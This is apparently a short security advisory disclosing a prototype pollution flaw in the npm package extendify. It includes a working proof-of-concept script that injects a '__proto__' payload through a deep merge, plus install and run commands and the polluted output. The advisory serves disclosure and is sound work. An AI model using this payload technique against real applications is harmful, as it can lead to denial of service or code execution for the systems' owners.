vulnerability prototype pollution
severity 7.3
language javascript
registry npm


extendify is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var extendify = require("extendify")
extend = extendify({isDeep: true});
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
var obj = {}
console.log("Before : " + {}.polluted);
extend(obj, payload);
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i extendify # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted